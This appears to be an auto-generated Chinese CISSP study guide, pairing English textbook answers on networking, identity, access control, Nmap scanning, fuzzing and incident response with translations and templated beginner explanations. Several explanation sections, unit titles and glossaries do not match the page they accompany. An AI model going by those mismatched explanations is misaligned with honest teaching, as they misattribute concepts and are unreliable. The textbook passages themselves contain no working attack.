动态主机配置协议(DHCP),UDP 端口 67 和 68; 超文本传输协议( HTTP),TCP 端口 80; 使用传输层安全协议(TLS)的 HTTPS,TCP 端口 443; 行打印守护进程(LPD),TCP 端口 515; 网络文件系统(NFS), TCP 端口 2049; 简单网络管理协议(SNMP),UDP 端口 161(UDP 端口 162 用于陷阱消息); 以及域名系统(DNS),TCP/UDP 端口 53。

小白解释

场景先行:你是公司的安全负责人,正在读第 1566 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1566 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 173 / PDF P1567

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

Chapter 12: Secure Communications and Network Attacks 1. Transport mode links or VPNs are anchored or end at the individual hosts connected together. Let's use IPSec as an example. In transport mode, IPSec provides encryption protection for just the payload and leaves the original message header intact. This type of VPN is also known as a host-to-host VPN or an end-to-end encrypted VPN, since the communication remains encrypted while it is in transit between the connected hosts. Tunnel mode links or VPNs are anchored or end at VPN devices on the boundaries of the connected networks (or one remote device).

In tunnel mode, IPSec provides encryption protection for both the payload and message header by encapsulating the entire original LAN protocol packet and adding its own temporary IPSec header. Tunnel mode VPNs can be used to connect two networks across the Internet (aka site-to-site VPN) or to allow distant clients to connect into an office local area network (LAN) across the Internet (aka remote access VPN). 2. Network address translation (NAT) allows the identity of internal systems to be hidden from external entities. Often NAT is used to translate between RFC 1918 private IP addresses and leased public addresses.

NAT serves as a one-way firewall because it allows only inbound traffic that is a response to a previous internal query. NAT also allows a few leased public addresses to be used to grant internet connectivity to a larger number of internal systems. 3. Circuit switching is usually associated with physical connections. The link itself is physically established and then dismantled for the communication. Circuit switching offers known fixed delays, supports constant traffic, is connection oriented, is sensitive only to the loss of the connection rather than the communication, and is most often used for voice transmissions.

Packet switching is usually associated with logical connections because the link is just a logically defined path among possible paths. Within a packet-switching system, each system or link can be employed simultaneously by other circuits. Packet switching divides the communication into segments, and each segment traverses the circuit to the destination. Packet switching has variable delays because each segment could take a unique path, is usually employed for bursty traffic, is not physically connection oriented but often uses virtual

中文直译 / 整理

第12章:安全通信与网络攻击 1. 传输模式链接或VPN在连接的各个主机上锚定或终止。 我们以IPSec为例。 在传输模式下,IPSec仅对负载提供加密保护,而保留原始消息头不变。 这 种类型的VPN也称为主机到主机VPN或端到端加密VPN,因为通信在连接的 主机之间传输时始终保持加密状态。 隧道模式链接或VPN在连接网络边界 (或一个远程设备)上的VPN设备上锚定或终止。 在隧道模式下,IPSec通 过封装整个原始LAN协议数据包并添加其自己的临时IPSec头,为负载和消 息头提供加密保护。 隧道模式VPN可用于通过互联网连接两个网络(即站点 到站点VPN),或允许远程客户端通过互联网连接到办公室局域网(LAN) (即远程访问VPN)。 2. 网络地址转换(NAT)允许隐藏内部系统的身份,使其不被外部实体识 别。 NAT通常用于在RFC 1918私有IP地址和租赁的公有地址之间进行转换。 NAT充当单向防火墙,因为它仅允许作为对先前内部查询响应的入站流量。 NAT还允许使用少量租赁的公有地址,为更多的内部系统提供互联网连接。 3. 电路交换通常与物理连接相关联。 链路本身是物理建立的,通信结束后再 拆除。

电路交换提供已知的固定延迟,支持恒定流量,是面向连接的,仅对 连接丢失敏感而非通信本身,并且最常用于语音传输。 分组交换通常与逻辑 连接相关联,因为链路只是在可能路径中逻辑定义的路径。 在分组交换系统 中,每个系统或链路可被其他电路同时使用。 分组交换将通信划分为多个段, 每个段通过电路传输到目的地。 分组交换具有可变延迟,因为每个段可能采 取不同的路径,通常用于突发性流量,不是物理面向连接的,但常使用虚拟

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

防火墙:防火墙根据规则控制网络流量进出。

入侵防御系统 IPS:IPS 可检测并主动阻断恶意流量。

虚拟专用网络 VPN:VPN 在不可信网络上建立加密隧道。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

IPS 放在线路中,误报可能影响可用性。

远程访问、站点到站点、安全隧道常对应 VPN/IPSec。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
防火墙 防火墙根据规则控制网络流量进出。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
虚拟专用网络 VPN VPN 在不可信网络上建立加密隧道。
身份 身份是主体在系统中的标识。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 174 / PDF P1568

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

circuits, is sensitive to the loss of data, and is used for any form of communication. 4. Email is inherently insecure because it is primarily a plaintext communication medium and employs nonencrypted transmission protocols. This allows email to be easily spoofed, spammed, flooded, eavesdropped on, interfered with, and hijacked. Defenses against these issues primarily include having stronger authentication requirements and using encryption to protect the content while in transit. 5. The RFC 1918 private IP address ranges are as follows: 10.0.0.0– 10.255.255.255 (a full Class A range); 172.16.0.0–172.31.255.255 (16 Class B ranges); and 192.168.0.0–192.168.255.255 (256 Class C ranges).

APIPA assigns each failed DHCP client with an IP address from the range of 169.254.0.1 to 169.254.255.254 along with the default Class B subnet mask of 255.255.0.0. Technically, the entire 127.0.0.0/8 network is reserved for loopback use in IPv4. However, only the 127.0.0.1 address is widely used. 6. Many facts about VLANs are included in this chapter. Answers can include any of the following options. A virtual local area network (VLAN) is a hardware-imposed network segmentation created by switches. VLANs can be defined/assigned/created based on ports, device MAC address, IP subnetting, specified protocols, or authentication.

VLANs are used for traffic management because they are a form of network segmentation. VLAN routing can be provided either by an external router or by the switch's internal software (one reason for the terms L3 switch and multilayer switch). VLANs control and restrict broadcast traffic and reduce a network's vulnerability to sniffers because a switch treats each VLAN as a separate network division. The members of a private VLAN or a port-isolated VLAN can interact only with one another and over the predetermined exit port or uplink port.

The trunk link allows the switches to talk to each other directly, direct traffic between hosts, and stretch VLAN definitions across multiple physical switches.

中文直译 / 整理

电路对数据丢失敏感,用于任何形式的通信。 4. 电子邮件本质上是不安全的,因为它主要是一种明文通信媒介,并采用 非加密传输协议。 这使得电子邮件容易被伪造、垃圾邮件轰炸、泛滥、窃 听、干扰和劫持。 针对这些问题的防御措施主要包括加强身份验证要求, 并使用加密技术在传输过程中保护内容。 5. RFC 1918 私有 IP 地址范围如下:10.0.0.0–10.255.255.255(一个完整的 Class A 范围); 172.16.0.0–172.31.255.255(16 个 Class B 范围); 以及 192.168.0.0–192.168.255.255(256 个 Class C 范围)。 APIPA 为每个失败的 DHCP 客户端分配一个从 169.254.0.1 到 169.254.255.254 范围内的 IP 地址, 并使用默认的 Class B 子网掩码 255.255.0.0。 从技术上讲,整个 127.0.0.0/8 网 络在 IPv4 中保留用于环回用途。 然而,只有 127.0.0.1 地址被广泛使用。 6. 本章包含了有关VLAN的许多事实。 答案可包括以下任何选项。

虚拟局域 网(VLAN)是由交换机实现的硬件级网络分段。 VLAN可根据端口、设备 MAC地址、IP子网划分、指定协议或认证进行定义/分配/创建。 VLAN用于 流量管理,因为它们是一种网络分段形式。 VLAN路由可通过外部路由器或 交换机的内部软件提供(这也是术语L3交换机和多层交换机的由来之一)。 VLAN通过控制和限制广播流量来降低网络对嗅探器的脆弱性,因为交换机 会将每个VLAN视为独立的网络分区。 私有VLAN或端口隔离VLAN的成员只 能彼此交互,并通过预设的出口端口或上行端口通信。 中继链路允许交换机 直接相互通信、在主机间转发流量,并将VLAN定义扩展到多个物理交换机 上。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

ISO 偏标准和管理体系。

身份管理题要区分识别、认证、授权、审计。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
身份 身份是主体在系统中的标识。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
学习单元 175 / PDF P1569

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

Chapter 13: Managing Identity and Authentication 1. Physical access controls are anything you can touch. They include perimeter security controls (such as fences and gates) and environmental controls such as heating, ventilation, and air-conditioning (HVAC) systems. Logical access controls are also known as technical controls. They include authentication, authorization, and permission controls. 2. Identification occurs when a subject claims an identity, such as with a username. Authentication occurs when the subject provides information to verify the claimed identity is the subject's identity. For example, a user provides the correct password matched to the username.

Authorization is the process of granting the subject rights and permissions based on the subject's proven identity. Accounting is accomplished by logging subjects' actions and is reliable only if the identification and authentication processes are strong and secure. 3. The three primary authentication factor types are something you know, something you have, and something you are, also known as Type 1, Type 2, and Type 3, respectively. Something you know is a memorized secret such as a password or PIN. Something you have includes devices that a person can touch and hold, such as a smartcard or hardware authenticator.

Something you are uses biometric methods such as fingerprints or facial identification. 4. Federated identity management (FIM) systems allow single sign-on (SSO) to be extended beyond a single organization. SSO allows users to authenticate once and access multiple resources without authenticating again. SAML is a common language used to exchange federated identity information between organizations. 5. Organizations use provisioning and onboarding processes when hiring employees and deprovisioning and offboarding processes when employees leave.

中文直译 / 整理

第13章:管理身份和认证 1. 物理访问控制是您能够触摸到的任何东西。 它们包括边界安全控制(如围 栏和门禁)以及环境控制,例如供暖、通风和空调(HVAC)系统。 逻辑访 问控制也称为技术控制,包括认证、授权和权限控制。 2. 身份识别发生在主体声明身份时,例如使用用户名。 认证发生在主体提供 信息以验证所声明的身份确实是其自身身份时。 例如,用户提供了与用户名 匹配的正确密码。 授权是根据主体已验证的身份授予其权利和权限的过程。 记账通过记录主体的操作来实现,只有在身份识别和认证过程强大且安全时 才可靠。 3. 三种主要的认证因素类型分别是:您知道的东西、您拥有的东西和您自身 的特征,分别称为类型1、类型2和类型3。 您知道的东西是如密码或PIN码 这样的记忆秘密。 您拥有的东西包括个人可以触摸和持有的设备,例如智能 卡或硬件认证器。 您自身的特征则使用生物识别方法,如指纹或面部识别。 4. 联合身份管理(FIM)系统允许将单点登录(SSO)扩展到单个组织之外。 SSO 允许用户只需进行一次身份验证,即可访问多个资源而无需再次认证。 SAML 是组织之间交换联合身份信息的常用语言。

5. 组织在雇佣员工时使用配置和入职流程,在员工离职时使用取消配置和 离职流程。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

身份:身份是主体在系统中的标识。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

身份管理题要区分识别、认证、授权、审计。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
身份 身份是主体在系统中的标识。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 176 / PDF P1570

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Chapter 14: Controlling and Monitoring Access 1. The primary difference between discretionary and nondiscretionary access control models is in how they are controlled and managed. Administrators centrally administer nondiscretionary access controls. DAC models allow owners to make their own changes, and their changes don't affect other parts of the environment. 2. Some common standards used to provide SSO capabilities on the Internet are Security Assertion Markup Language (SAML), OAuth, and OpenID Connect (OIDC). 3. The PowerShell cmdlet that allows you to run PowerShell commands indirectly is Invoke-Expression.

The following command shows how to run it, assuming you have a PowerShell script named hello.ps1 in the current directory: powershell.exe "& {Get-Content .\hello.ps1 | Invoke-Expression} If you want to see this in action, create the hello.ps1 file with the following line: Write-Host 'Hello, World' 4. Mimikatz is a popular tool used in privilege escalation attacks, including pass the hash and Kerberos exploitation attacks. PsExec, one of the tools in the Sysinternals process utilities (PsTools), is another tool often used in these attacks.

中文直译 / 整理

第14章:控制和监控访问 1. 自主访问控制模型与非自主访问控制模型的主要区别在于它们的控制和管 理方式。 管理员集中管理非自主访问控制。 DAC模型允许所有者自行进行更 改,且其更改不会影响环境的其他部分。 2. 用于在互联网上提供单点登录(SSO)功能的一些常见标准包括安全断 言标记语言(SAML)、OAuth和OpenID Connect(OIDC)。 3. 允许您间接运行PowerShell命令的PowerShell cmdlet是Invoke-Expression。 以下命令展示了如何 运行它,假设当前目录中有一个名为hello.ps1的PowerShell脚本: powershell.exe "& {Get‑Content .\hello.ps1 | Invoke‑Expression}" 如果您想查看实际效果,请创建以下内容的 hello.ps1 文件: Write‑Host 'Hello , World' 4. Mimikatz 是一种在权限提升攻击中广泛使用的工具,包括传递哈希和 Kerberos 利用攻击。

PsExec 是 Sysinternals 进程工具集(PsTools)中 的一个工具,也常用于这些攻击。

小白解释

场景先行:财务要把合同发给供应商:不想被别人看懂,要加密;不想被人改金额,要校验完整性;不想对方抵赖,要签名和证书。密码学不是炫技,是解决这些业务信任问题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:把加密、哈希、签名混在一起,会导致控制目标错位。

你作为负责人可以这样想:机密性用加密,完整性用哈希/签名,身份信任用证书和 PKI。

本页术语用人话说:

NIST:NIST 提供美国常用安全标准、框架和指南。

标准:标准给出必须满足的最低要求。

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

自主访问控制 DAC:DAC 由对象所有者决定谁能访问。

常见误区:哈希不是加密;签名也不是为了隐藏内容。

读完后用一句话复述:如果我是系统架构师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是系统架构师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Minimum level、mandatory requirement 常对应 standard。

哈希本身不提供机密性;它主要用于完整性校验。

文件所有者授权、ACL 常见于 DAC。

排除法提醒:哈希不是加密;签名也不是为了隐藏内容。

本页术语拆解
NIST NIST 提供美国常用安全标准、框架和指南。
标准 标准给出必须满足的最低要求。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
自主访问控制 DAC DAC 由对象所有者决定谁能访问。
学习单元 177 / PDF P1571

第 1571 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 15: Security Assessment and Testing 1. TCP SYN scanning sends a single packet to each scanned port with the SYN flag set. This indicates a request to open a new connection. If the scanner receives a response that has the SYN and ACK flags set, this indicates that the system is moving to the second phase in the three-way TCP handshake and that the port is open. TCP SYN scanning is also known as “half-open” scanning. TCP connect scanning opens a full connection to the remote system on the specified port. This scan type is used when the user running the scan does not have the necessary permissions to run a half-open scan. 2.

The five possible port status values returned by Nmap are as follows: Open: The port is open on the remote system and there is an application that is actively accepting connections on that port. Closed: The port is accessible on the remote system, meaning that the firewall is allowing access, but there is no application accepting connections on that port. Filtered: Nmap is unable to determine whether a port is open or closed because a firewall is interfering with the connection attempt. Unfiltered: The port is accessible, but Nmap cannot determine whether it is open or closed.

It is unfiltered because the port is exposed to the packet probes sent by Nmap, but no conclusive evidence can determine the port's status. Open | Filtered: Nmap cannot establish whether the port is open or filtered. This state occurs when a port does not respond to Nmap's probes, which could be due to packet filtering preventing Nmap's requests from reaching the port, or the port is open but designed not to respond to the probes used by Nmap. 3. Static software testing techniques, such as code reviews, evaluate the security of software without running it by analyzing either the source code or the compiled application.

Dynamic testing evaluates the security of software in a runtime environment and is often the only option for organizations deploying applications written by someone else. 4. Mutation (dumb) fuzzing takes previous input values from actual operation of the software and manipulates (or mutates) it to create

中文直译 / 整理

第15章:安全评估与测试 1. TCP SYN 扫描会向每个扫描端口发送一个设置了 SYN 标志的单个数据包。 这表示请求建立新连接。 如果扫描器收到一个设置了 SYN 和 ACK 标志的响 应,则表示系统正在进入三次 TCP 握手的第二阶段,端口处于开放状态。 TCP SYN 扫描也被称为“半开放”扫描。 TCP 连接扫描会在指定端口上与 远程系统建立完整连接。 当执行扫描的用户没有运行半开放扫描所需权限时, 会使用这种扫描类型。 2. Nmap 返回的五个可能端口状态值如下: 开放:该端口在远程系统上处于开放状态,且有应用程序正在主 动接受连接。 关闭:该端口在远程系统上可访问,即防火墙允许访问,但没有应 用程序在该端口上接受连接。 过滤:由于防火墙干扰了连接尝试,Nmap 无法确定端口是开放还是关 闭。 未过滤:端口可访问,但 Nmap 无法确定其是开放还是关 闭。 该端口为未过滤状态,是因为它暴露在 Nmap 发送的数据 包探测下,但没有确凿证据能确定端口的状态。 开放| 过滤:Nmap 无法确定端口是开放还是被过滤。

当端口未对 Nmap 的探测做出响应时,会出现这种状态,原因可能是数据包过滤 阻止了 Nmap 的请求到达端口,或者端口虽开放但被设计为不响应 Nmap 使用的探测方式。 3. 静态软件测试技术(如代码审查)通过分析源代码或编译后的应用程序, 在不运行软件的情况下评估其安全性。 动态测试则在运行时环境中评估软件 的安全性,对于部署他人开发的应用程序的组织而言,这通常是唯一的选择。 4. 变异(盲目)模糊测试会获取软件实际运行中的先前输入值,并对其进 行操作(或变异)以创建

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

程序:程序是一步一步怎么做。

防火墙:防火墙根据规则控制网络流量进出。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1571 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
程序 程序是一步一步怎么做。
防火墙 防火墙根据规则控制网络流量进出。
学习单元 178 / PDF P1572

第 1572 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

fuzzed input. It might alter the characters of the content, append strings to the end of the content, or perform other data manipulation techniques. Generational (intelligent) fuzzing develops data models and creates new fuzzed input based on an understanding of the types of data used by the program.

中文直译 / 整理

模糊输入。 它可能会更改内容的字符,在内容末尾附加字符串,或执行其 他数据操作技术。 代际(智能)模糊测试会开发数据模型,并基于对程序所使用数据类型的 理解来创建新的模糊输入。

小白解释

场景先行:你是公司的安全负责人,正在读第 1572 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

程序:程序是一步一步怎么做。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1572 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
程序 程序是一步一步怎么做。
学习单元 179 / PDF P1573

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Chapter 16: Managing Security Operations 1. Need-to-know focuses on permissions and the ability to access information, whereas the least privilege principle focuses on privileges. Privileges include both rights and permissions. Both limit the access of users and subjects to only what they need. Following these principles prevents and limits the scope of security incidents. 2. Monitoring the assignment and usage of special privileges detects when individuals are granted higher privileges, such as when they are added to an Administrator account. It can detect when unauthorized entities are granted higher privileges.

Monitoring the usage of special privileges detects when entities are using higher privileges, such as creating unauthorized accounts, accessing or deleting logs, and creating automated tasks. This monitoring can detect potential malicious insiders and remote attackers. 3. The three primary cloud-based service models are software as a service (SaaS), platform as a service (PaaS), and infrastructure as a service (IaaS). The cloud service provider (CSP) provides the most maintenance and security services with SaaS, less with PaaS, and the least with IaaS. While NIST SP 800-145 provides these definitions, CSPs sometimes use their own terms and definitions in marketing materials. 4.

Change management processes help prevent outages by ensuring that proposed changes are reviewed, approved, and tested before being deployed. They also ensure that changes are documented.

中文直译 / 整理

第16章:安全管理运营 1. 需知原则侧重于权限和访问信息的能力,而最小特权原则侧重于特权。 特权包括权利和权限。 两者均将用户和主体的访问限制在仅需的范围内。 遵循这些原则可预防并限制安全事件的范围。 2. 监控特殊特权的分配和使用,可检测到个人被授予更高特权的情况,例如 当其被添加到管理员账户时。 它还能检测到未经授权的实体被授予更高特权 的情况。 监控特殊特权的使用,可检测到实体使用更高特权的情况,例如创 建未经授权的账户、访问或删除日志、以及创建自动化任务。 这种监控可检 测潜在的恶意内部人员和远程攻击者。 3. 三种主要的基于云的服务模型是软件即服务(SaaS)、平台即服务( PaaS)和基础设施即服务(IaaS)。 云服务提供商(CSP)在SaaS中提供 最多的维护和安全服务,在PaaS中较少,在IaaS中最少。 尽管NIST SP 800‑145提供了这些定义,但CSP有时在营销材料中使用自己的术语和定义。 4. 变更管理流程通过确保拟议的变更在部署前经过审查、批准和测试,来 防止中断。 它们还确保变更得到记录。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

NIST:NIST 提供美国常用安全标准、框架和指南。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
NIST NIST 提供美国常用安全标准、框架和指南。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 180 / PDF P1574

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

Chapter 17: Preventing and Responding to Incidents 1. An incident is any event that has a negative effect on the confidentiality, integrity, or availability of an organization's assets. 2. Incident management steps listed in the CISSP Security Operations domain are detection, response, mitigation, reporting, recovery, remediation, and lessons learned. 3. Intrusion detection systems are described as host-based or networkbased, knowledge-based or behavior-based, and passive or active. Hostbased IDSs examine events on individual computers in great detail, including file activities, accesses, and processes.

Network-based IDSs examine general network events and anomalies through traffic evaluation. A knowledge-based IDS uses a database of known attacks to detect intrusions. A behavior-based IDS starts with a baseline of normal activity and measures network activity against the baseline to identify abnormal activity. A passive response will log the activity and often provide a notification. An active response directly responds to the intrusion to stop or block the attack. 4. A SIEM system collects log entries from multiple sources in a centralized application. It can accept data from dissimilar devices and correlate and aggregate all of the data into useful information.

It can also be configured to send alerts in real time to specific items of interest. 5. Security orchestration, automation, and response (SOAR) refers to a group of technologies that automatically respond to some incidents. This reduces the workload on administrators.

中文直译 / 整理

